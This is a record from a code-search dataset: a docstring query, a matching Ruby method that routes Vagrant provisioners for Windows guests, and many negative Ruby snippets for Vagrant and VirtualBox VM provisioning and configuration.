"0.58215266",
"0.58215266",
"0.58215266",
"0.58215266",
"0.5803003",
"0.5803003",
"0.57983655",
"0.578115",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359",
"0.577359"
] |
0.0
|
-1
|
Override this method from core vagrant, here we branch out the provision for windows FIXME: This should be removed when the core vagrant supports communication class for windows guests
|
def run_provisioner(env)
if env[:machine].config.vm.guest == :windows
case env[:provisioner].class.to_s
when "VagrantPlugins::Shell::Provisioner"
VagrantPlugins::VagrantHyperV::Provisioner::Shell.new(env).provision_for_windows
when "VagrantPlugins::Puppet::Provisioner::Puppet"
VagrantPlugins::VagrantHyperV::Provisioner::Puppet.new(env).provision_for_windows
when "VagrantPlugins::Chef::Provisioner::ChefSolo"
VagrantPlugins::VagrantHyperV::Provisioner::ChefSolo.new(env).provision_for_windows
end
else
original_run_provisioner(env)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def provision_winssh(args)\n with_script_file do |path|\n # Upload the script to the machine\n @machine.communicate.tap do |comm|\n env = config.env.map{|k,v| comm.generate_environment_export(k, v)}.join\n upload_path = config.upload_path.to_s\n if File.extname(upload_path).empty?\n remote_ext = @machine.config.winssh.shell == \"powershell\" ? \"ps1\" : \"bat\"\n upload_path << \".#{remote_ext}\"\n end\n if remote_ext == \"ps1\"\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n command = \"#{env}\\npowershell #{shell_args} #{upload_path}#{args}\"\n else\n command = \"#{env}\\n#{upload_path}#{args}\"\n end\n\n # Reset upload path permissions for the current ssh user\n info = nil\n retryable(on: Vagrant::Errors::SSHNotReady, tries: 3, sleep: 2) do\n info = @machine.ssh_info\n raise Vagrant::Errors::SSHNotReady if info.nil?\n end\n\n comm.upload(path.to_s, upload_path)\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: path.to_s))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline script\"))\n end\n\n # Execute it with sudo\n comm.execute(\n command,\n sudo: config.privileged,\n error_key: :ssh_bad_exit_status_muted\n ) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def provision_winrm(args)\n if @machine.guest.capability?(:wait_for_reboot)\n @machine.guest.capability(:wait_for_reboot)\n end\n\n with_script_file do |path|\n @machine.communicate.tap do |comm|\n # Make sure that the upload path has an extension, since\n # having an extension is critical for Windows execution\n upload_path = config.upload_path.to_s\n if File.extname(upload_path) == \"\"\n upload_path += File.extname(path.to_s)\n end\n\n # Upload it\n comm.upload(path.to_s, upload_path)\n\n # Build the environment\n env = config.env.map { |k,v| \"$env:#{k} = #{quote_and_escape(v.to_s)}\" }\n env = env.join(\"; \")\n\n # Calculate the path that we'll be executing\n exec_path = upload_path\n exec_path.gsub!('/', '\\\\')\n exec_path = \"c:#{exec_path}\" if exec_path.start_with?(\"\\\\\")\n\n # Copy powershell_args from configuration\n shell_args = config.powershell_args\n\n # For PowerShell scripts bypass the execution policy unless already specified\n shell_args += \" -ExecutionPolicy Bypass\" if config.powershell_args !~ /[-\\/]ExecutionPolicy/i\n\n # CLIXML output is kinda useless, especially on non-windows hosts\n shell_args += \" -OutputFormat Text\" if config.powershell_args !~ /[-\\/]OutputFormat/i\n\n command = \"\\\"#{exec_path}\\\"#{args}\"\n if File.extname(exec_path).downcase == \".ps1\"\n command = \"powershell #{shell_args.to_s} -file #{command}\"\n else\n command = \"cmd /q /c #{command}\"\n end\n\n # Append the environment\n if !env.empty?\n command = \"#{env}; #{command}\"\n end\n\n if config.name\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"script: #{config.name}\"))\n elsif config.path\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.runningas\",\n local: config.path.to_s, remote: exec_path))\n else\n @machine.ui.detail(I18n.t(\"vagrant.provisioners.shell.running\",\n script: \"inline PowerShell script\"))\n end\n\n # Execute it with sudo\n comm.sudo(command, { elevated: config.privileged, interactive: config.powershell_elevated_interactive }) do |type, data|\n handle_comm(type, data)\n end\n end\n end\n end",
"def configure_vagrant_machine(hostname, vm, cpus, memory)\n is_windows = (RbConfig::CONFIG['host_os'] =~ /mswin|mingw|cygwin/)\n\n vm.box = 'bento/ubuntu-16.04'\n vm.hostname = hostname\n\n vm.provider 'virtualbox' do |vb, override|\n # NAT settings so network isn't super slow\n override.vm.network :private_network, ip: \"192.168.100.50\"\n vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'on']\n vb.customize ['modifyvm', :id, '--natdnsproxy1', 'on']\n vb.cpus = cpus\n vb.memory = memory\n vb.name = \"vagrant-#{hostname}\"\n\n if is_windows\n override.vm.synced_folder \".\", \"/vagrant\", mount_options: [\"fmode=700\"]\n end\n end\n\n vm.provider 'parallels' do |prl, override|\n override.vm.network :private_network, ip: \"192.168.100.50\"\n prl.update_guest_tools = true\n prl.optimize_power_consumption = false\n prl.cpus = cpus\n prl.memory = memory\n prl.name = \"vagrant-#{hostname}\"\n end\nend",
"def provision(vm, node_num)\n node_os = (ENV[\"DISTRO_#{node_num}\"] || DISTRO)\n vm.box = (ENV[\"BOX_#{node_num}\"] || ENV[\"BOX\"] || \"#{BOX_REPO}/#{node_os}\")\n vm.hostname = \"#{PROJECT}-#{node_num}-#{vm.box.gsub(/^.*\\//,\"\")}\"\n vm.network \"private_network\", ip: \"#{NETWORK_PREFIX}.#{100+node_num}\"\n vm.provision \"shell\",\n path: VAGRANT_PROVISION,\n env: { 'HOME' => PROJ_HOME, 'GOPATH' => ENV['GOPATH'], 'BOX' => vm.box }\nend",
"def defineControlVM(control, vmName)\n\tcontrol.vm.hostname = vmName\n\tcontrol.vm.box = \"https://cloud-images.ubuntu.com/vagrant/utopic/%s/utopic-server-cloudimg-amd64-vagrant-disk1.box\" % $controlRequestImagePath\n\tcontrol.vm.network :private_network, ip: \"10.10.10.10\"\n\n\t# Forward our Docker registry port to the outside world.\n\tcontrol.vm.network \"forwarded_port\", guest: 5000, host: $controlDockerRegistryPort, auto_correct: true\n\n\t# Enabled serial logging if the user asked for it.\n\tsetUpSerialLogging vmName\n\n\t# Build the log directory where all internal control machines logs will go to.\n\tlogFile = setUpProvisionLogging vmName\n\n\t# Provision the machines.\n\tcontrol.vm.provision :shell, :path => \"automation/vagrant/tasks/ProvisionControlBase.sh\", :privileged => false, :args => \"%s\" % logFile\n\tcontrol.vm.provision :shell, :path => \"automation/vagrant/tasks/ProvisionControlFiles.sh\", :privileged => false, :args => \"%s %s\" % [logFile, $coreInstances]\n\tcontrol.vm.provision :shell, :path => \"automation/vagrant/tasks/ProvisionControlAnsible.sh\", :privileged => false, :args => \"%s\" % logFile\n\tcontrol.vm.provision :shell, :path => \"automation/vagrant/tasks/ProvisionControlDocker.sh\", :privileged => false, :args => \"%s\" % logFile\n\tcontrol.vm.provision :shell, :path => \"automation/vagrant/tasks/ProvisionControlRegistry.sh\", :privileged => false, :args => \"%s\" % logFile\nend",
"def shell_provisioners(vm, host, global)\n if scripts = get_config_parameter(host, global, 'scripts')\n scripts.each do |script|\n vm.provision :shell do |s|\n s.path = script['script']\n s.args = script['args']\n s.name = script['name']\n end\n end\n end\nend",
"def create_vm(vms, vm_type, config)\n vms.each do | vm |\n hostname = vm.get_hostname\n \n # cpu & memory\n cpu = vm.get_cpu\n memory = vm.get_memory\n \n # nat port\n ssh_nat_port = vm.get_ssh_nat_port\n http_nat_port = vm.get_http_nat_port\n novnc_nat_port = vm.get_novnc_nat_port \n \n # list of interfaces\n interfaces = vm.get_interfaces\n bridged_interface = vm.get_bridged_interface\n \n # box info\n box_name = vm.box.name\n box_user = vm.box.user\n box_pass = vm.box.pass\n \n switch_type = vm.switch_type\n switch_ver = vm.switch_ver \n \n # IMPORTANT: use your own link_prefix to avoid duplication error with other vagrant instances\n link_prefix=File.basename(Dir.getwd)\n \n interface_count = interfaces.length\n if bridged_interface != \"\"\n interface_count += 1\n end\n \n config.vm.define \"#{hostname}\" do |cfg|\n cfg.vm.box = box_name\n cfg.vm.boot_timeout = 90\n \n cfg.ssh.username = box_user\n cfg.ssh.password = box_pass\n \n for i in interfaces\n cfg.vm.network \"private_network\", auto_config: false, virtualbox__intnet: \"#{link_prefix}_switch_interface_#{i}\" \n end\n \n # bridged interface to have external network connectivity\n if bridged_interface != \"\"\n cfg.vm.network \"public_network\", auto_config: false, bridge: \"#{bridged_interface}\"\n end\n \n #if switch_type != \"\"\n # cfg.vm.provision :shell, :path => \"../common/install_#{switch_type}_#{switch_ver}.sh\"\n #end\n \n if File.exist?(\"init_node_#{hostname}.sh\")\n cfg.vm.provision :shell, :path => \"init_node_#{hostname}.sh\"\n end\n \n cfg.vm.provider \"virtualbox\" do |v|\n v.cpus = cpu\n v.memory = memory\n v.customize [\"modifyvm\", :id, \"--hpet\", \"on\"]\n \n # 스위칭에 이용하는 인터페이스에 대해서 promiscuous mode를 allow vms로 설정해줌\n for i in 2..(interface_count + 1)\n v.customize [\"modifyvm\", :id, \"--nicpromisc#{i}\", \"allow-all\"] \n end\n v.gui = true\n end\n \n if ssh_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 22, host: \"#{ssh_nat_port}\", id: \"ssh\"\n end\n \n if http_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 80, host: \"#{http_nat_port}\", id: \"http\" \n end\n \n if novnc_nat_port != -1\n cfg.vm.network :forwarded_port, guest: 6080, host: \"#{novnc_nat_port}\", id: \"novnc\" \n end\n \n cfg.vm.synced_folder \"../common\", \"/root/common\", disabled: false\n end\n end\nend",
"def make_proxmox_vm(vm)\n # * Disk: Use a SSD if possible. Preallocated might provide faster access.\n hd_file=@disk_folder+\"/#{vm}-HD.vdi\"\n\n # NOTE! Lots of code also available for inspiration in\n # /Applications/Vagrant/embedded/gems/gems/vagrant-1.6.5/plugins/providers/virtualbox/driver/version_4_3.rb\n\n\n unless(File.file?(@install_iso))\n raise \"ERROR - you need to download the ISO file at #{@install_iso} from https://www.proxmox.com/downloads\"\n end\n\n ide_storage_name=\"IDE Controller for #{vm}\"\n description = \"Proxmox-in-Virtualbox generated by https://github.com/mrjcleaver/proxmox-setup \\n\" + \\\n \"Generated \"+Time.now.to_s+ \" using \"+@install_iso\n\n # http://nakkaya.com/2012/08/30/create-manage-virtualBox-vms-from-the-command-line/\n # https://www.virtualbox.org/manual/ch08.html\n run_shell_cmd(\"VBoxManage createvm --name '#{vm}' --register\")\n run_shell_cmd(\"VBoxManage modifyvm '#{vm}' --description '#{description}'\")\n # Note: Enabling the I/O APIC is required for 64-bit guest operating systems (page 48, manual)\n run_shell_cmd(\"VBoxManage modifyvm '#{vm}' --memory '#{@ram_mb}' --acpi on --ioapic on --boot1 dvd --vram 12\")\n\n run_shell_cmd(\"VBoxManage modifyvm '#{vm}' --ostype Debian --audio none\")\n\n run_shell_cmd(\"VBoxManage createhd --filename '#{hd_file}' --size '#{@hd_size_mb}' --variant Fixed\")\n run_shell_cmd(\"VBoxManage storagectl '#{vm}' --name '#{ide_storage_name}' --add ide\")\n\n run_shell_cmd(\"VBoxManage storageattach '#{vm}' --storagectl '#{ide_storage_name}' --port 0 --device 0 --type hdd --medium '#{hd_file}' --nonrotational=#{@hd_on_ssd}\")\n\n run_shell_cmd(\"VBoxManage storageattach '#{vm}' --storagectl '#{ide_storage_name}' --port 1 --device 0 --type dvddrive --medium '#{@install_iso}'\")\n\n run_shell_cmd(\"VBoxManage setextradata '#{vm}' GUI/MouseCapturePolicy Default\")\nend",
"def configure_vs_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n client_os = \"Linux_64\"\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def configure_ps_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n client_os = \"Ubuntu\"\n if client_arch.match(/x86_64/)\n client_os = client_os+\"_64\"\n end\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def provision\n end",
"def vagrant_provision\n if @env\n puts \"Running vagrant provision.\"\n @env.cli(\"provision\") && FileUtils.touch('.vagrant_last_provisioned')\n else\n puts \"Setting up vagrant environment.\"\n setup_vagrant && FileUtils.touch('.vagrant_last_provisioned')\n end\nend",
"def shell_provisioners_once(vm, host)\n if host.has_key?('shell_once')\n host['shell_once'].each do |script|\n vm.provision \"shell\", inline: script['cmd']\n end\n end\nend",
"def configure_ob_vbox_vm(client_name,client_mac,client_arch,client_os,client_rel)\n client_os = \"Linux_64\"\n configure_vbox_vm(client_name,client_mac,client_os)\n return\nend",
"def provision_uplift_bootstrap(vm_name, vm_config) \n\n require_string(vm_name)\n require_vagrant_config(vm_config)\n\n log_info_light(\"#{vm_name}: Uplift bootstrap\")\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.bootstrap',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.ps1\"\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.choco',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.choco.ps1\"\n\n vm_config.vm.provision \"shell\",\n name: 'uplift.choco-packages',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.choco-packages.ps1\" \n\n vm_config.vm.provision \"shell\",\n name: 'uplift.dsc.bootstrap',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.bootstrap.ps-modules.ps1\" \n \n vm_config.vm.provision \"shell\",\n name: 'uplift.resource-modul',\n path: \"#{vagrant_script_path}/vagrant/uplift.vagrant.bootstrap/uplift.resource.bootstrap.ps1\" \n \n\n _track_ai_event(__method__, {\n 'vm_name': vm_name\n })\n\n end",
"def provision!; end",
"def configure_virtualbox(host,vmcfg)\n host.vm.provider \"virtualbox\" do |pcfg|\n pcfg.memory = vmcfg['vm']['memory'] if vmcfg['vm']['memory']\n pcfg.customize [\"modifyvm\", :id, \"--cpus\", vmcfg['vm']['cpu']] if vmcfg['vm']['cpu'] \n end\nend",
"def shell_provision(node, command)\n node.vm.provision \"shell\", inline: command\nend",
"def basic_config(vm)\n hosts = NODES.map { |hostname, array| \"#{array[0]} #{hostname}\" }.join(\"\\n\")\n bashrc=\"/home/vagrant/.bashrc\"\n vm.provision \"shell\", inline: <<-SHELL\n if ! grep -q \"git-core\" #{bashrc} ; then \n echo \"customizing ~/bashrc\"\n echo \"\\n\\n# Customizations from Vagrantfile:\" >> #{bashrc}\n echo \"export PS1='\\\\[\\\\033[31;1m\\\\]\\\\h\\\\[\\\\033[0;32m\\\\] \\\\w\\\\[\\\\033[00m\\\\]: '\" >> #{bashrc}\n echo export PATH=\"\\$PATH:/usr/lib/git-core:/home/vagrant/teleport/build\" >> #{bashrc}\n echo export GREP_OPTIONS=\"--color=auto\" >> #{bashrc}\n echo \"alias ll='ls -lh'\" >> #{bashrc}\n echo \"alias tsh='tsh --insecure'\" >> #{bashrc}\n fi\n if ! grep -q \"Teleport\" /etc/hosts ; then \n echo \"# Teleport entries added by Vagrant:\" >> /etc/hosts\n echo -e \"#{hosts}\" >> /etc/hosts\n fi\n mkdir -p /var/lib/teleport\n chown vagrant:vagrant /var/lib/teleport\n SHELL\nend",
"def create_vm(vms, vm_type, config)\n vms.each do | vm |\n hostname = vm.get_hostname\n \n # cpu & memory\n cpu = vm.get_cpu\n memory = vm.get_memory\n \n # nat port\n nat_map = vm.get_nat_map\n \n # list of interfaces\n interfaces = vm.get_interfaces\n bridged_interface = vm.get_bridged_interface\n \n # synced_folder\n synced_folders = vm.get_synced_folders\n \n # box info\n box_name = vm.box.name\n box_user = vm.box.user\n box_pass = vm.box.pass\n \n switch_type = vm.switch_type\n switch_ver = vm.switch_ver \n \n link_prefix=Link.instance.link_prefix\n \n interface_count = interfaces.length\n if bridged_interface != \"\"\n interface_count += 1\n end\n \n config.vm.define \"#{hostname}\" do |cfg|\n cfg.vm.box = box_name\n cfg.vm.boot_timeout = 90\n \n cfg.ssh.username = box_user\n cfg.ssh.password = box_pass\n \n for i in interfaces\n cfg.vm.network \"private_network\", auto_config: false, virtualbox__intnet: \"#{link_prefix}_switch_interface_#{i}\" \n end\n \n # bridged interface to have external network connectivity\n # VBoxManage list bridgedifs 로 확인 가능\n if bridged_interface != \"\"\n cfg.vm.network \"public_network\", auto_config: false, bridge: \"#{bridged_interface}\"\n end\n \n #if switch_type != \"\"\n # cfg.vm.provision :shell, :path => \"../common/install_#{switch_type}_#{switch_ver}.sh\"\n #end\n if File.exist?(\"init_node_#{hostname}.sh\")\n cfg.vm.provision :shell, :path => \"init_node_#{hostname}.sh\"\n end\n \n cfg.vm.provider \"virtualbox\" do |v|\n v.cpus = cpu\n v.memory = memory\n v.customize [\"modifyvm\", :id, \"--hpet\", \"on\"]\n \n # 스위칭에 이용하는 인터페이스에 대해서 promiscuous mode를 allow vms로 설정해줌\n for i in 2..(interface_count + 1)\n v.customize [\"modifyvm\", :id, \"--nicpromisc#{i}\", \"allow-all\"] \n end\n #v.gui = true\n end\n \n # nat_map = {1 => {\"ssh\" => 2222 }, 2 => {\"web\" => 2280}}\n # TODO: avoid port collision\n if (defined? nat_map)\n nat_map.each do |port_name, port_map| \n port_map.each do |guest_port, host_port|\n cfg.vm.network :forwarded_port, guest: guest_port, host: \"#{host_port}\", id: \"#{port_name}\" \n end\n end\n end\n \n if (defined? synced_folders)\n synced_folders.each do |host_folder, gst_folder|\n cfg.vm.synced_folder \"#{host_folder}\", \"#{gst_folder}\", disabled: false\n end\n end \n \n end\n end\nend",
"def configure_vmware_vbox_vm(client_name)\n modify_vbox_vm(client_name,\"rtcuseutc\",\"on\")\n modify_vbox_vm(client_name,\"vtxvpid\",\"on\")\n modify_vbox_vm(client_name,\"vtxux\",\"on\")\n modify_vbox_vm(client_name,\"hwvirtex\",\"on\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiSystemVersion\",\"None\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiBoardVendor\",\"Intel Corporation\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiBoardProduct\",\"440BX Desktop Reference Platform\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiSystemVendor\",\"VMware, Inc.\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiSystemProduct\",\"VMware Virtual Platform\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVendor\",\"Phoenix Technologies LTD\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiBIOSVersion\",\"6.0\")\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiChassisVendor\",\"No Enclosure\")\n vbox_vm_uuid = get_vbox_vm_uuid(client_name)\n vbox_vm_uuid = \"VMware-\"+vbox_vm_uuid\n setextradata_vbox_vm(client_name,\"VBoxInternal/Devices/pcbios/0/Config/DmiSystemSerial\",vbox_vm_uuid)\n return\nend",
"def initialize\n super()\n @vagrant_dir = @system.try_opt(:vagrant_dir)\n create_new_vm_group unless current_folder_has_souffle_config?\n generate_vagrant_config\n end",
"def define_vm config, role, index, ip, memory = 512\n id = (index + 1).to_s.rjust(3, '0')\n config.vm.define \"#{role}_#{id}\" do |box|\n box.vm.customize [ \"modifyvm\", :id, \"--memory\", memory ]\n box.vm.box = \"centos_6_3\"\n box.vm.box_url = \"https://dl.dropbox.com/u/7225008/Vagrant/CentOS-6.3-x86_64-minimal.box\"\n box.vm.network :hostonly, \"192.168.34.#{ip}\", :netmask => \"255.255.255.0\"\n box.vm.host_name = \"#{role.downcase.gsub(/[^a-z0-9]+/, '-')}-#{id}.esi.dev\"\n #box.vm.provision :shell, :path => \"script/bootstrap-vm.sh\"\n box.vm.provision :puppet, :module_path => \"modules\" do |p|\n p.manifests_path = \"manifests\"\n p.manifest_file = \"site.pp\"\n end\n end\nend",
"def inline_shell_provisioners(vm, host, global)\n if scripts = get_config_parameter(host, global, 'inline_shell')\n scripts.each do |script|\n vm.provision :shell do |s|\n s.inline = script['inline']\n s.args = script['args']\n s.name = script['name']\n end\n end\n end\nend",
"def provision_iscsi_client(config)\n config.vm.provision 'iscsi-client', type: 'shell', inline: <<-SHELL\n yum -y install iscsi-initiator-utils lsscsi\n echo \"InitiatorName=iqn.2015-01.com.whamcloud:disks\" > /etc/iscsi/initiatorname.iscsi\n iscsiadm --mode discoverydb --type sendtargets --portal 10.0.40.10:3260 --discover\n iscsiadm --mode node --targetname iqn.2015-01.com.whamcloud.lu:disks --portal 10.0.40.10:3260 -o update -n node.startup -v automatic\n iscsiadm --mode node --targetname iqn.2015-01.com.whamcloud.lu:disks --portal 10.0.40.10:3260 -o update -n node.conn[0].startup -v automatic\n iscsiadm --mode node --targetname iqn.2015-01.com.whamcloud.lu:disks --portal 10.0.50.10:3260 -o update -n node.startup -v automatic\n iscsiadm --mode node --targetname iqn.2015-01.com.whamcloud.lu:disks --portal 10.0.50.10:3260 -o update -n node.conn[0].startup -v automatic\n systemctl start iscsi\n SHELL\nend",
"def configure_vmware_esxi_vbox_vm(client_name)\n configure_vmware_esxi_defaults()\n modify_vbox_vm(client_name,\"cpus\",$default_vm_vcpu)\n configure_vmware_vbox_vm(client_name)\n return\nend",
"def join_cluster(config)\n\n config.vm.provision \"shell\", inline: <<-SHELL\n sshpass -p 'vagrant' scp -o StrictHostKeyChecking=no vagrant@master:join-command.sh /home/vagrant\n chmod +x /home/vagrant/join-command.sh\n ./join-command.sh \n SHELL\n\nend",
"def configure_provider(config, vm_name, cpus, memory_size, box_os)\n config.vm.provider :virtualbox do |vb|\n # Configure VM resources\n vb.gui = false\n vb.name = vm_name\n vb.cpus = cpus\n vb.memory = memory_size\n\n # allow symlinks to creation in default vagrant share folder https://github.com/mitchellh/vagrant/issues/713\n vb.customize [\"setextradata\", :id, \"VBoxInternal2/SharedFoldersEnableSymlinksCreate/v-root\", \"1\"]\n if box_os == \"ubuntu\"\n # Fix for network name lookups broken in NAT network adapters\n # see https://bugs.launchpad.net/ubuntu/+source/virtualbox/+bug/1048783\n vb.customize [\"modifyvm\", :id, \"--natdnshostresolver1\", \"on\"]\n end\n end\n end",
"def setup\n java.lang.System.setProperty(\"vbox.home\", Travis::Worker.config.vms.vbox_home)\n\n require 'vboxjxpcom.jar'\n\n java_import 'org.virtualbox_4_1.VirtualBoxManager'\n java_import 'org.virtualbox_4_1.VBoxEventType'\n java_import 'org.virtualbox_4_1.LockType'\n java_import 'org.virtualbox_4_1.MachineState'\n java_import 'org.virtualbox_4_1.IMachineStateChangedEvent'\n java_import 'org.virtualbox_4_1.DeviceType'\n java_import 'org.virtualbox_4_1.AccessMode'\n java_import 'org.virtualbox_4_1.MediumType'\n java_import 'org.virtualbox_4_1.SessionState'\n end",
"def configure_ssh(vm)\n vm.provision \"shell\", inline: <<-SHELL\n mkdir -p /home/vagrant/.ssh\n rm -rf /home/vagrant/.ssh/id_rsa*\n chown vagrant:vagrant /home/vagrant/.ssh\n SHELL\n vm.provision \"file\", source: '~/.ssh/id_rsa', destination: '~/.ssh/id_rsa'\n vm.provision \"file\", source: '~/.ssh/id_rsa.pub', destination: '~/.ssh/id_rsa.pub'\n vm.provision \"file\", source: '~/.ssh/id_rsa.pub', destination: '~/.ssh/authorized_keys'\n vm.provision \"file\", source: '~/.screenrc', destination: '~/' if File.exists? \"~/.screnrc\"\nend",
"def configure(vm_config, number)\n vm_config.vm.network \"public_network\", ip: \"192.168.1.24#{number}\"\n vm_config.vm.host_name = \"level0#{number}.seoshop.net\"\n \n vm_config.vm.provision :puppet do |puppet|\n puppet.manifests_path = \"puppet\"\n puppet.module_path = \"puppet/modules\"\n puppet.manifest_file = \"site.pp\"\n end\nend",
"def mount_shared_folder(name, guestpath, options)\n # These are just far easier to use than the full options syntax\n owner = options[:owner]\n group = options[:group]\n mount_options += \"#{options[:extra]}\" if options[:extra]\n \n su_cmd = vm.config.cygwin.suexec_cmd\n su_cmd += \" \" if ! su_cmd.empty? \n\n # Create the shared folder\n #vm.communicate.execute(\"#{su_cmd}mkdir -p #{guestpath}\")\n @logger.debug(\"Attempting to mount cygwin folders...\")\n @logger.debug(\"name : #{name}\")\n @logger.debug(\"guestpath : #{guestpath}\")\n @logger.debug(\"mount_optiosn : #{mount_options}\")\n @logger.debug(\"owner : #{owner}\")\n @logger.debug(\"group : #{group}\")\n \n # cleanup old mounts\n # cleanup folders if they exist\n check_for_drive=\"export mounteddrive=\\\"$(net use |grep '\\\\\\\\\\\\\\\\vboxsvr\\\\\\\\#{name}'|tr -d 'Unavailable' | head -1 |awk '{print $1}')\\\"\"\n unmount_drive=\"net use /d ${mounteddrive}\"\n unmount_script = \"set -x -v;\"\n unmount_script += \"#{check_for_drive};\"\n unmount_script += \"while [ ! \\\"${mounteddrive}\\\" == \\\"\\\" ];\"\n unmount_script += \" do echo removing old mount ${mounteddrive};\"\n unmount_script += \"#{unmount_drive};\"\n unmount_script += \"#{check_for_drive};\"\n unmount_script += \" done\"\n @logger.debug(\"running umount command : #{unmount_script}\")\n vm.communicate.execute(\"#{unmount_script}\", :error_check => false) # skip error checking since we just use the next drive letter anyway\n \n # Mount the folder with the proper owner/group\n # mount the vbox file system (virtual box.... only??)\n # net use \\* \\\\\\\\vboxsvr\\\\e:/workspace\n # #{name} #{guestpath} \n \n mount_command = \"#{su_cmd}net use \\\\* \\\\\\\\\\\\\\\\vboxsvr\\\\\\\\#{name} #{mount_options}\"\n @logger.debug(\"mount : #{mount_command}\")\n vm.communicate.execute(\"#{mount_command}\")\n\n\n # create windows link to mounted file system so we can use it as if it were a real path\n # note: if the guestpath is there, i wonder if we should check before removing it to reset... \n # do we do something special with :create option???\n # For configuration:\n # config.vm.synced_folder \"workspace\", \"e:/workspace\", :create => true\n #\n # Expect something like: \n # cmd /c \\\"mklink /d \\\"$(mkdir -p e:/workspace;cygpath -w e:/workspace;rm -rf e:/workspace)\\\" \\\"$(net use |grep e:/workspace |awk '{print $1}' ) \n # there is a problem with mounting guestpath = /vagrant \n # We have to open up permissions to c:\\\\Cygwin\\\\ to allow vagrant to have access, but\n # I've not found a good way to run a command as root. Tried experimenting with ShellExecute but had no luck.\n # As a workaround lets ignore errors for /vagrant (other folders should have error checking since they were intentional)\n \n # TODO : Warn users that they can't mount /vagrant unless they fix the permissions for C:\\Cygwin so that either Administrators or vagrant has full control of the folder. Done automatically if Cygwin is installed as vagrant user.\n vm.communicate.execute(\"cmd /c \\\"mklink /d \\\"$([ ! -d '#{guestpath}' ] && mkdir -p '#{guestpath}';cygpath -w '#{guestpath}';rm -rf '#{guestpath}')\\\" \\\"$(net use |grep '#{name}' |awk '{print $1}')\\\"\\\"\", :error_check => (guestpath != \"/vagrant\"))\n # chown the folder to the proper owner/group\n # Not sure this is even needed....(windows inherits).... vm.communicate.execute(\"#{su_cmd}chown #{owner} #{guestpath}\")\n end",
"def attach_volumes(node, disk_sizes)\n if $provider == :virtualbox\n node.vm.provider :virtualbox do |v, override|\n disk_num = 0\n disk_sizes.each do |disk_size|\n disk_num += 1\n diskname = File.join(File.dirname(File.expand_path(__FILE__)), \".virtualbox\", \"#{node.vm.hostname}-#{disk_num}.vdi\")\n unless File.exist?(diskname)\n v.customize ['createhd', '--filename', diskname, '--size', disk_size * 1024]\n end\n v.customize ['storageattach', :id, '--storagectl', 'SATA Controller', '--port', disk_num, '--device', 0, '--type', 'hdd', '--medium', diskname]\n end\n end\n end\n\n if $provider == :vmware_fusion\n node.vm.provider :vmware_fusion do |v, override|\n vdiskmanager = '/Applications/VMware\\ Fusion.app/Contents/Library/vmware-vdiskmanager'\n unless File.exist?(vdiskmanager)\n dir = File.join(File.dirname(File.expand_path(__FILE__)), \".vmware\")\n unless File.directory?( dir )\n Dir.mkdir dir\n end\n\n disk_num = 0\n disk_sizes.each do |disk_size|\n disk_num += 1\n diskname = File.join(dir, \"#{node.vm.hostname}-#{disk_num}.vmdk\")\n unless File.exist?(diskname)\n `#{vdiskmanager} -c -s #{disk_size}GB -a lsilogic -t 1 #{diskname}`\n end\n\n v.vmx[\"scsi0:#{disk_num}.filename\"] = diskname\n v.vmx[\"scsi0:#{disk_num}.present\"] = 'TRUE'\n v.vmx[\"scsi0:#{disk_num}.redo\"] = ''\n end\n end\n end\n end\n\n if $provider == :parallels\n node.vm.provider :parallels do |v, override|\n disk_sizes.each do |disk_size|\n v.customize ['set', :id, '--device-add', 'hdd', '--size', disk_size * 1024]\n end\n end\n end\n\nend",
"def define_machine_name(config, name)\n config.vm.provider \"virtualbox\" do |v|\n v.name = name\n end\nend",
